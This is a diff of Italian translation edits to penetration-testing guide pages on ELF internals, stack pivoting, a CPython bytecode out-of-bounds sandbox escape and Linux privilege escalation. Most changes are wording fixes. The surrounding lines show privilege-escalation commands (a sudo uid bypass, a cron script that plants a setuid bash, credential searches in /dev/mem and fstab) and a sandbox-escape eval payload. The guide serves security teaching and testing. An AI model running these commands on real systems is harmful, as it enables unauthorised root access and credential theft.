Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

src/SUMMARY.md

@@ -881,7 +881,6 @@
 - [Interesting Http](todo/interesting-http.md)
 - [Rust Basics](todo/rust-basics.md)
 - [More Tools](todo/more-tools.md)
-- [MISC](todo/misc.md)
 - [Hardware Hacking](todo/hardware-hacking/README.md)
   - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
   - [I2C](todo/hardware-hacking/i2c.md)

src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md

@@ -37,34 +37,34 @@ Segment Sections...
 07
 08     .init_array .fini_array .dynamic .got
 ```
-The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
+Il programma precedente ha **9 intestazioni di programma**, quindi, la **mappatura dei segmenti** indica in quale intestazione di programma (da 00 a 08) **si trova ciascuna sezione**.
 
 ### PHDR - Program HeaDeR
 
-Contiene le tabelle degli header del programma e i metadati stessi.
+Contiene le tabelle delle intestazioni di programma e i metadati stessi.
 
 ### INTERP
 
 Indica il percorso del loader da utilizzare per caricare il binario in memoria.
 
-> Tip: I binari staticamente collegati o static-PIE non avranno un'entrata `INTERP`. In questi casi non è coinvolto alcun loader dinamico, il che disabilita le tecniche che si basano su di esso (ad es., `ret2dlresolve`).
+> Suggerimento: I binari staticamente collegati o static-PIE non avranno un'entrata `INTERP`. In questi casi non è coinvolto alcun loader dinamico, il che disabilita le tecniche che si basano su di esso (ad es., `ret2dlresolve`).
 
 ### LOAD
 
-Questi header sono utilizzati per indicare **come caricare un binario in memoria.**\
-Ogni header **LOAD** indica una regione di **memoria** (dimensione, permessi e allineamento) e indica i byte del binario ELF **da copiare lì**.
+Queste intestazioni vengono utilizzate per indicare **come caricare un binario in memoria.**\
+Ogni intestazione **LOAD** indica una regione di **memoria** (dimensione, permessi e allineamento) e indica i byte del **binario ELF da copiare lì**.
 
-Ad esempio, il secondo ha una dimensione di 0x1190, dovrebbe trovarsi a 0x1fc48 con permessi di lettura e scrittura e sarà riempito con 0x528 dall'offset 0xfc48 (non riempie tutto lo spazio riservato). Questa memoria conterrà le sezioni `.init_array .fini_array .dynamic .got .data .bss`.
+Ad esempio, la seconda ha una dimensione di 0x1190, dovrebbe trovarsi a 0x1fc48 con permessi di lettura e scrittura e sarà riempita con 0x528 dall'offset 0xfc48 (non riempie tutto lo spazio riservato). Questa memoria conterrà le sezioni `.init_array .fini_array .dynamic .got .data .bss`.
 
 ### DYNAMIC
 
-Questo header aiuta a collegare i programmi alle loro dipendenze di libreria e ad applicare le rilocalizzazioni. Controlla la sezione **`.dynamic`**.
+Questa intestazione aiuta a collegare i programmi alle loro dipendenze di libreria e ad applicare le rilocalizzazioni. Controlla la sezione **`.dynamic`**.
 
 ### NOTE
 
 Questo memorizza informazioni sui metadati del fornitore riguardo al binario.
 
-- Su x86-64, `readelf -n` mostrerà i flag `GNU_PROPERTY_X86_FEATURE_1_*` all'interno di `.note.gnu.property`. Se vedi `IBT` e/o `SHSTK`, il binario è stato costruito con CET (Indirect Branch Tracking e/o Shadow Stack). Questo impatta ROP/JOP perché i target di branch indiretti devono iniziare con un'istruzione `ENDBR64` e i ritorni sono controllati contro uno shadow stack. Vedi la pagina CET per dettagli e note di bypass.
+- Su x86-64, `readelf -n` mostrerà i flag `GNU_PROPERTY_X86_FEATURE_1_*` all'interno di `.note.gnu.property`. Se vedi `IBT` e/o `SHSTK`, il binario è stato costruito con CET (Indirect Branch Tracking e/o Shadow Stack). Questo impatta ROP/JOP perché i target di branch indiretti devono iniziare con un'istruzione `ENDBR64` e i ritorni vengono controllati contro uno shadow stack. Vedi la pagina CET per dettagli e note di bypass.
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
@@ -98,9 +98,9 @@ Nota che RELRO può essere parziale o completo, la versione parziale non protegg
 
 Definisce una tabella di voci TLS, che memorizza informazioni sulle variabili locali del thread.
 
-## Section Headers
+## Intestazioni delle Sezioni
 
-Gli header delle sezioni forniscono una vista più dettagliata del binario ELF.
+Le intestazioni delle sezioni forniscono una visione più dettagliata del binario ELF.
 ```
 objdump lnstat -h
 
@@ -161,7 +161,7 @@ CONTENTS, READONLY
 25 .gnu_debuglink 00000034  0000000000000000  0000000000000000  000101bc  2**2
 CONTENTS, READONLY
 ```
-It indicates anche la posizione, l'offset, i permessi ma anche il **tipo di dati** che ha la sua sezione.
+It indica anche la posizione, l'offset, i permessi ma anche il **tipo di dati** che ha la sua sezione.
 
 ### Sezioni Meta
 
@@ -175,12 +175,12 @@ It indicates anche la posizione, l'offset, i permessi ma anche il **tipo di dati
 - **`.data`**: Variabili globali con un valore definito nel programma.
 - **`.bss`**: Variabili globali lasciate non inizializzate (o inizializzate a zero). Le variabili qui sono automaticamente inizializzate a zero, prevenendo quindi l'aggiunta di zeri inutili al binario.
 - **`.rodata`**: Variabili globali costanti (sezione di sola lettura).
-- **`.tdata`** e **`.tbss`**: Come .data e .bss quando si utilizzano variabili locali per thread (`__thread_local` in C++ o `__thread` in C).
+- **`.tdata`** e **`.tbss`**: Come .data e .bss quando si utilizzano variabili locali al thread (`__thread_local` in C++ o `__thread` in C).
 - **`.dynamic`**: Vedi sotto.
 
 ## Simboli
 
-I simboli sono una posizione nominata nel programma che potrebbe essere una funzione, un oggetto di dati globale, variabili locali per thread...
+I simboli sono una posizione nominata nel programma che potrebbe essere una funzione, un oggetto di dati globale, variabili locali al thread...
 ```
 readelf -s lnstat
 
@@ -255,7 +255,7 @@ La directory NEEDED indica che il programma **deve caricare la libreria menziona
 
 Le voci `DT_RPATH` (deprecato) e/o `DT_RUNPATH` influenzano dove il caricatore dinamico cerca le dipendenze. Ordine approssimativo:
 
-- `LD_LIBRARY_PATH` (ignorato per programmi setuid/sgid o altrimenti "sicuri")
+- `LD_LIBRARY_PATH` (ignorato per programmi setuid/sgid o altrimenti "esecuzione sicura")
 - `DT_RPATH` (solo se `DT_RUNPATH` assente)
 - `DT_RUNPATH`
 - `ld.so.cache`
@@ -266,11 +266,11 @@ Le voci `DT_RPATH` (deprecato) e/o `DT_RUNPATH` influenzano dove il caricatore d
 - Ispeziona con: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
 - Test rapido: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (mostra le decisioni sul percorso di ricerca)
 
-> Suggerimento per l'escamotage: Preferisci abusare di RUNPATH scrivibili o percorsi relativi a `$ORIGIN` mal configurati di tua proprietà. LD_PRELOAD/LD_AUDIT sono ignorati nei contesti di esecuzione sicura (setuid).
+> Suggerimento per l'esc: Preferisci abusare di RUNPATH scrivibili o percorsi relativi a `$ORIGIN` mal configurati di tua proprietà. LD_PRELOAD/LD_AUDIT sono ignorati nei contesti di esecuzione sicura (setuid).
 
 ## Rilocazioni
 
-Il caricatore deve anche rilocare le dipendenze dopo averle caricate. Queste rilocazioni sono indicate nella tabella di rilocazione nei formati REL o RELA e il numero di rilocazioni è fornito nelle sezioni dinamiche RELSZ o RELASZ.
+Il caricatore deve anche rilocare le dipendenze dopo averle caricate. Queste rilocazioni sono indicate nella tabella di rilocazione nei formati REL o RELA e il numero di rilocazioni è dato nelle sezioni dinamiche RELSZ o RELASZ.
 ```
 readelf -r lnstat
 
@@ -366,9 +366,9 @@ Quindi, quando un programma chiama malloc, in realtà chiama la posizione corris
 ../common-binary-protections-and-bypasses/relro.md
 {{#endref}}
 
-- `-fno-plt` fa sì che il compilatore chiami funzioni esterne attraverso l'**entry GOT direttamente** invece di passare attraverso il PLT stub. Vedrai sequenze di chiamate come `mov reg, [got]; call reg` invece di `call func@plt`. Questo riduce l'abuso di esecuzione speculativa e cambia leggermente la ricerca di gadget ROP attorno agli stub PLT.
+- `-fno-plt` fa sì che il compilatore chiami funzioni esterne attraverso **l'entry GOT direttamente** invece di passare attraverso il PLT stub. Vedrai sequenze di chiamate come `mov reg, [got]; call reg` invece di `call func@plt`. Questo riduce l'abuso di esecuzione speculativa e cambia leggermente la ricerca di gadget ROP attorno agli stub PLT.
 
-- PIE vs static-PIE: PIE (ET_DYN con `INTERP`) necessita del loader dinamico e supporta la consueta meccanica PLT/GOT. Static-PIE (ET_DYN senza `INTERP`) ha relocazioni applicate dal kernel loader e nessun `ld.so`; aspettati nessuna risoluzione PLT a runtime.
+- PIE vs static-PIE: PIE (ET_DYN con `INTERP`) necessita del loader dinamico e supporta la consueta meccanica PLT/GOT. Static-PIE (ET_DYN senza `INTERP`) ha relocazioni applicate dal loader del kernel e nessun `ld.so`; non aspettarti risoluzione PLT a runtime.
 
 > Se GOT/PLT non è un'opzione, pivotare su altri puntatori di codice scrivibili o utilizzare ROP/SROP classico in libc.
 
@@ -378,7 +378,7 @@ Quindi, quando un programma chiama malloc, in realtà chiama la posizione corris
 
 ## Program Initialization
 
-Dopo che il programma è stato caricato, è tempo di farlo funzionare. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che main venga eseguito, come in:
+Dopo che il programma è stato caricato, è tempo di eseguirlo. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che venga eseguita main, come in:
 ```cpp
 #include <stdio.h>
 // g++ autoinit.cpp -o autoinit
@@ -408,7 +408,7 @@ __attributte__((destructor)) //Add to the destructor list
 ```
 Dal punto di vista di un compilatore, per eseguire queste azioni prima e dopo l'esecuzione della funzione `main`, è possibile creare una funzione `init` e una funzione `fini` che sarebbero referenziate nella sezione dinamica come **`INIT`** e **`FIN`**. e sono collocate nelle sezioni `init` e `fini` dell'ELF.
 
-L'altra opzione, come menzionato, è fare riferimento alle liste **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nelle voci **`INIT_ARRAY`** e **`FINI_ARRAY`** nella sezione dinamica e la lunghezza di queste è indicata da **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Ogni voce è un puntatore a funzione che verrà chiamato senza argomenti.
+L'altra opzione, come menzionato, è referenziare le liste **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nelle voci **`INIT_ARRAY`** e **`FINI_ARRAY`** nella sezione dinamica e la lunghezza di queste è indicata da **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Ogni voce è un puntatore a funzione che verrà chiamato senza argomenti.
 
 Inoltre, è anche possibile avere un **`PREINIT_ARRAY`** con **puntatori** che verranno eseguiti **prima** dei puntatori **`INIT_ARRAY`**.
 
@@ -424,14 +424,14 @@ Inoltre, è anche possibile avere un **`PREINIT_ARRAY`** con **puntatori** che v
 
 ### Ordine di Inizializzazione
 
-1. Il programma viene caricato in memoria, le variabili globali statiche vengono inizializzate in **`.data`** e quelle non inizializzate vengono azzerate in **`.bss`**.
+1. Il programma viene caricato in memoria, le variabili globali statiche vengono inizializzate in **`.data`** e quelle non inizializzate azzerate in **`.bss`**.
 2. Tutte le **dipendenze** per il programma o le librerie vengono **inizializzate** e il **collegamento dinamico** viene eseguito.
 3. Le funzioni **`PREINIT_ARRAY`** vengono eseguite.
 4. Le funzioni **`INIT_ARRAY`** vengono eseguite.
 5. Se c'è un'entrata **`INIT`**, viene chiamata.
 6. Se è una libreria, dlopen termina qui, se è un programma, è tempo di chiamare il **punto di ingresso reale** (funzione `main`).
 
-## Thread-Local Storage (TLS)
+## Memoria Locale per Thread (TLS)
 
 Sono definiti utilizzando la parola chiave **`__thread_local`** in C++ o l'estensione GNU **`__thread`**.
 
@@ -439,11 +439,11 @@ Ogni thread manterrà una posizione unica per questa variabile in modo che solo
 
 Quando questo viene utilizzato, le sezioni **`.tdata`** e **`.tbss`** vengono utilizzate nell'ELF. Che sono simili a `.data` (inizializzato) e `.bss` (non inizializzato) ma per TLS.
 
-Ogni variabile avrà un'entrata nell'intestazione TLS che specifica la dimensione e l'offset TLS, che è l'offset che utilizzerà nell'area di dati locali del thread.
+Ogni variabile avrà un'entrata nell'intestazione TLS che specifica la dimensione e l'offset TLS, che è l'offset che utilizzerà nell'area di dati locale del thread.
 
-Il `__TLS_MODULE_BASE` è un simbolo utilizzato per riferirsi all'indirizzo base della memoria locale del thread e punta all'area in memoria che contiene tutti i dati locali del thread di un modulo.
+Il `__TLS_MODULE_BASE` è un simbolo utilizzato per riferirsi all'indirizzo base della memoria locale per thread e punta all'area in memoria che contiene tutti i dati locali per thread di un modulo.
 
-## Auxiliary Vector (auxv) e vDSO
+## Vettore Ausiliario (auxv) e vDSO
 
 Il kernel Linux passa un vettore ausiliario ai processi contenente indirizzi e flag utili per il runtime:
 
@@ -451,7 +451,7 @@ Il kernel Linux passa un vettore ausiliario ai processi contenente indirizzi e f
 - `AT_SYSINFO_EHDR`: indirizzo base della mappatura vDSO (utile per trovare syscalls e gadget `__kernel_*`).
 - `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, ecc.
 
-Come attaccante, se puoi leggere la memoria o i file sotto `/proc`, puoi spesso rivelare questi senza una infoleak nel processo target:
+Come attaccante, se puoi leggere la memoria o i file sotto `/proc`, puoi spesso rivelare questi senza un infoleak nel processo target:
 ```bash
 # Show the auxv of a running process
 cat /proc/$(pidof target)/auxv | xxd

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -15,14 +15,14 @@ ret
 E come il **EBP/RBP salvato è nello stack** prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack.
 
 > Note
-> - Su 64 bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa.
+> - Su 64-bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa.
 > - Alcuni compilatori omettono il puntatore di frame (vedi “EBP potrebbe non essere utilizzato”). In tal caso, `leave` potrebbe non apparire e questa tecnica non funzionerà.
 
 ### EBP2Ret
 
 Questa tecnica è particolarmente utile quando puoi **modificare l'EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP**. Sfrutta il comportamento dell'epilogo della funzione.
 
-Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo.
+Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area di memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo.
 
 Nota come **devi conoscere 2 indirizzi**: l'indirizzo dove andrà ESP/RSP e il valore memorizzato a quell'indirizzo che `ret` consumerà.
 
@@ -41,7 +41,7 @@ Ricorda che prima di qualsiasi di questi indirizzi nell'area controllata, deve e
 
 #### Exploit Off-By-One
 
-C'è una variante utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP/RBP salvato**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con **`ret`** deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che un sovrascrittura di 1 byte possa reindirizzarlo. Di solito, il byte basso (offset 0x00) viene aumentato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina.
+C'è una variante utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP/RBP salvato**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con **`ret`** deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarlo. Di solito, il byte basso (offset 0x00) viene aumentato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina.
 
 È anche comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo RSP punti all'interno dello sled e che la catena ROP finale venga eseguita.
 
@@ -124,7 +124,7 @@ add    $0x10c,%esp  # reduce stack size
 pop    %ebx         # restore
 ret                 # return
 ```
-Su amd64 vedrai spesso `pop rbp ; ret` invece di `leave ; ret`, ma se il puntatore di frame è completamente omesso, allora non c'è un epilogo basato su `rbp` attraverso cui effettuare il pivot.
+Su amd64 vedrai spesso `pop rbp ; ret` invece di `leave ; ret`, ma se il puntatore del frame è completamente omesso, allora non c'è un epilogo basato su `rbp` attraverso cui effettuare il pivot.
 
 ## Altri modi per controllare RSP
 
@@ -216,7 +216,7 @@ Una robusta strategia di pivot utilizzata in molti CTF/exploits:
 
 ## Modern mitigations that break stack pivoting (CET/Shadow Stack)
 
-I moderni CPU e OS x86 implementano sempre più **CET Shadow Stack (SHSTK)**. Con SHSTK abilitato, `ret` confronta l'indirizzo di ritorno nello stack normale con uno stack shadow protetto dall'hardware; qualsiasi discrepanza solleva un errore di Control-Protection e termina il processo. Pertanto, tecniche come EBP2Ret/leave;ret-based pivots si bloccheranno non appena il primo `ret` viene eseguito da uno stack pivotato.
+I moderni CPU e OS x86 implementano sempre più **CET Shadow Stack (SHSTK)**. Con SHSTK abilitato, `ret` confronta l'indirizzo di ritorno nello stack normale con uno stack shadow protetto dall'hardware; qualsiasi discrepanza solleva un errore di protezione del controllo e termina il processo. Pertanto, tecniche come EBP2Ret/leave;ret-based pivots si bloccheranno non appena il primo `ret` viene eseguito da uno stack pivotato.
 
 - Per informazioni di base e dettagli più approfonditi vedere:
 
@@ -242,7 +242,7 @@ grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wr
 - Alcune distribuzioni moderne abilitano SHSTK per i binari abilitati CET quando è presente supporto hardware e glibc. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di avvio del kernel `nousershstk`, o abilitato selettivamente tramite le impostazioni di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su obiettivi di produzione.
 - Le tecniche basate su JOP/COOP o SROP potrebbero ancora essere valide su alcuni obiettivi, ma SHSTK rompe specificamente i pivot basati su `ret`.
 
-- Nota su Windows: Windows 10+ espone la modalità utente e Windows 11 aggiunge la “Protezione dello Stack Forzata dall'Hardware” in modalità kernel basata su stack shadow. I processi compatibili con CET impediscono il pivoting dello stack/ROP a `ret`; gli sviluppatori devono optare per CETCOMPAT e politiche correlate (vedi riferimento).
+- Nota su Windows: Windows 10+ espone la modalità utente e Windows 11 aggiunge la "Protezione dello Stack Forzata dall'Hardware" in modalità kernel basata su stack shadow. I processi compatibili con CET impediscono il pivoting dello stack/ROP a `ret`; gli sviluppatori devono optare per CETCOMPAT e politiche correlate (vedi riferimento).
 
 ## ARM64
 

src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md

@@ -23,7 +23,7 @@ Puoi inserire codice Python arbitrario, e verrà compilato in un [oggetto codice
 
 In questo modo, tutte le espressioni che contengono costanti (ad es. numeri, stringhe, ecc.) o nomi (ad es. variabili, funzioni) potrebbero causare un errore di segmentazione alla fine.
 
-### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>
+### Lettura Fuori Limite <a href="#out-of-bound-read" id="out-of-bound-read"></a>
 
 Come avviene l'errore di segmentazione?
 
@@ -35,7 +35,7 @@ Iniziamo con un semplice esempio, `[a, b, c]` potrebbe essere compilato nel segu
 6 BUILD_LIST               3
 8 RETURN_VALUE12345
 ```
-Ma cosa succede se i `co_names` diventano una tupla vuota? L'opcode `LOAD_NAME 2` viene comunque eseguito e cerca di leggere il valore da quell'indirizzo di memoria da cui dovrebbe originariamente essere. Sì, questa è una "caratteristica" di lettura fuori limite.
+Ma cosa succede se il `co_names` diventa una tupla vuota? L'opcode `LOAD_NAME 2` viene comunque eseguito e cerca di leggere il valore da quell'indirizzo di memoria da cui dovrebbe originariamente provenire. Sì, questa è una "caratteristica" di lettura fuori limite.
 
 Il concetto fondamentale per la soluzione è semplice. Alcuni opcodes in CPython, ad esempio `LOAD_NAME` e `LOAD_CONST`, sono vulnerabili (?) a letture OOB.
 
@@ -227,7 +227,7 @@ builtins['eval'](builtins['input']())
 - `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → leggono nomi da `co_names[...]` (per 3.11+ nota che `LOAD_ATTR`/`LOAD_GLOBAL` memorizzano i bit di flag nel bit basso; l'indice effettivo è `namei >> 1`). Vedi la documentazione del disassemblatore per la semantica esatta per versione. [Python dis docs].
 - Python 3.11+ ha introdotto cache adattive/in-line che aggiungono voci `CACHE` nascoste tra le istruzioni. Questo non cambia il primitivo OOB; significa solo che se crei manualmente bytecode, devi tenere conto di quelle voci di cache quando costruisci `co_code`.
 
-Implicazione pratica: la tecnica in questa pagina continua a funzionare su CPython 3.11, 3.12 e 3.13 quando puoi controllare un oggetto di codice (ad es., tramite `CodeType.replace(...)`) e ridurre `co_consts`/`co_names`.
+Implicazione pratica: la tecnica in questa pagina continua a funzionare su CPython 3.11, 3.12 e 3.13 quando puoi controllare un oggetto di codice (ad esempio, tramite `CodeType.replace(...)`) e ridurre `co_consts`/`co_names`.
 
 ### Scanner rapido per indici OOB utili (compatibile 3.11+/3.12+)
 
@@ -285,7 +285,7 @@ Una volta identificato un indice `co_consts` che si risolve nel modulo builtins,
 # 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
 # This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.
 ```
-Questo approccio è utile in sfide che ti danno il controllo diretto su `co_code` mentre forzano `co_consts=()` e `co_names=()` (ad esempio, BCTF 2024 “awpcode”). Evita trucchi a livello di sorgente e mantiene le dimensioni del payload ridotte sfruttando le operazioni sulla pila del bytecode e i costruttori di tuple.
+Questo approccio è utile in sfide che ti danno il controllo diretto su `co_code` mentre forzano `co_consts=()` e `co_names=()` (ad esempio, BCTF 2024 “awpcode”). Evita trucchi a livello di sorgente e mantiene le dimensioni del payload ridotte sfruttando le operazioni sulla stack di bytecode e i costruttori di tuple.
 
 ### Controlli difensivi e mitigazioni per sandbox
 
@@ -323,7 +323,7 @@ raise ValueError("Bytecode refers to name index beyond co_names length")
 # validate_code_object(c)
 # eval(c, {'__builtins__': {}})
 ```
-Idee di mitigazione aggiuntive
+Idee aggiuntive di mitigazione
 - Non consentire `CodeType.replace(...)` arbitrario su input non attendibili, o aggiungere controlli strutturali rigorosi sull'oggetto codice risultante.
 - Considerare di eseguire codice non attendibile in un processo separato con sandboxing a livello di OS (seccomp, job objects, containers) invece di fare affidamento sulla semantica di CPython.
 

src/linux-hardening/privilege-escalation/README.md

@@ -4,21 +4,21 @@
 
 ## Informazioni sul sistema
 
-### Info OS
+### Informazioni sul SO
 
-Iniziamo a ottenere alcune informazioni sul sistema operativo in esecuzione
+Iniziamo a ottenere alcune informazioni sul SO in esecuzione
 ```bash
 (cat /proc/version || uname -a ) 2>/dev/null
 lsb_release -a 2>/dev/null # old, not by default on many systems
 cat /etc/os-release 2>/dev/null # universal on modern systems
 ```
-### Path
+### Percorso
 
 Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari:
 ```bash
 echo $PATH
 ```
-### Info ambiente
+### Env info
 
 Informazioni interessanti, password o chiavi API nelle variabili d'ambiente?
 ```bash
@@ -73,7 +73,7 @@ Da @sickrov
 ```
 sudo -u#-1 /bin/bash
 ```
-### Dmesg verifica della firma non riuscita
+### Dmesg verifica della firma fallita
 
 Controlla **smasher2 box di HTB** per un **esempio** di come questa vulnerabilità potrebbe essere sfruttata
 ```bash
@@ -138,7 +138,7 @@ cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
 #Check if credentials in fstab
 grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
 ```
-## Software utili
+## Software utile
 
 Enumerare i binari utili
 ```bash
@@ -148,9 +148,9 @@ Controlla anche se **è installato un compilatore**. Questo è utile se hai biso
 ```bash
 (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
 ```
-### Vulnerable Software Installed
+### Software Vulnerabile Installato
 
-Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci qualche vecchia versione di Nagios (ad esempio) che potrebbe essere sfruttata per l'escalation dei privilegi…\
+Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci qualche vecchia versione di Nagios (ad esempio) che potrebbe essere sfruttata per l'escalation dei privilegi...\
 Si consiglia di controllare manualmente la versione del software installato più sospetto.
 ```bash
 dpkg -l #Debian
@@ -186,10 +186,10 @@ Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi
 >
 > Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace:
 >
-> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava ptracing.
+> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing.
 > - **kernel.yama.ptrace_scope = 1**: solo un processo padre può essere debugged.
 > - **kernel.yama.ptrace_scope = 2**: solo l'amministratore può utilizzare ptrace, poiché richiede la capacità CAP_SYS_PTRACE.
-> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente ptracing.
+> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing.
 
 #### GDB
 
@@ -230,14 +230,14 @@ rm $1*.bin
 ```
 #### /dev/mem
 
-`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accesso utilizzando /dev/kmem.\
+`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accessibile utilizzando /dev/kmem.\
 Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**.
 ```
 strings /dev/mem -n10 | grep -i PASS
 ```
 ### ProcDump per linux
 
-ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite di strumenti Sysinternals per Windows. Ottienilo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
+ProcDump è una reinterpretazione per Linux dello strumento classico ProcDump della suite di strumenti Sysinternals per Windows. Ottienilo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
 ```
 procdump -p 1714
 
@@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
 ```
 ## Scheduled/Cron jobs
 
-Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file utilizzati da root? usare symlink? creare file specifici nella directory utilizzata da root?).
+Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file che usa root? usare symlink? creare file specifici nella directory che usa root?).
 ```bash
 crontab -l
 ls -al /etc/cron* /etc/at*
@@ -325,9 +325,9 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
 
 Ad esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
 
-(_Nota come l'utente "user" ha privilegi di scrittura su /home/user_)
+(_Nota come l'utente "user" abbia privilegi di scrittura su /home/user_)
 
-Se all'interno di questo crontab l'utente root cerca di eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\
+Se all'interno di questo crontab l'utente root prova a eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\
 Allora, puoi ottenere una shell root usando:
 ```bash
 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
@@ -360,11 +360,11 @@ Se lo script eseguito da root utilizza una **directory a cui hai accesso complet
 ```bash
 ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
 ```
-### Lavori cron frequenti
+### Frequent cron jobs
 
-Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne e aumentare i privilegi.
+Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne e aumentare i privilegi.
 
-Ad esempio, per **monitorare ogni 0,1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
+Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
 ```bash
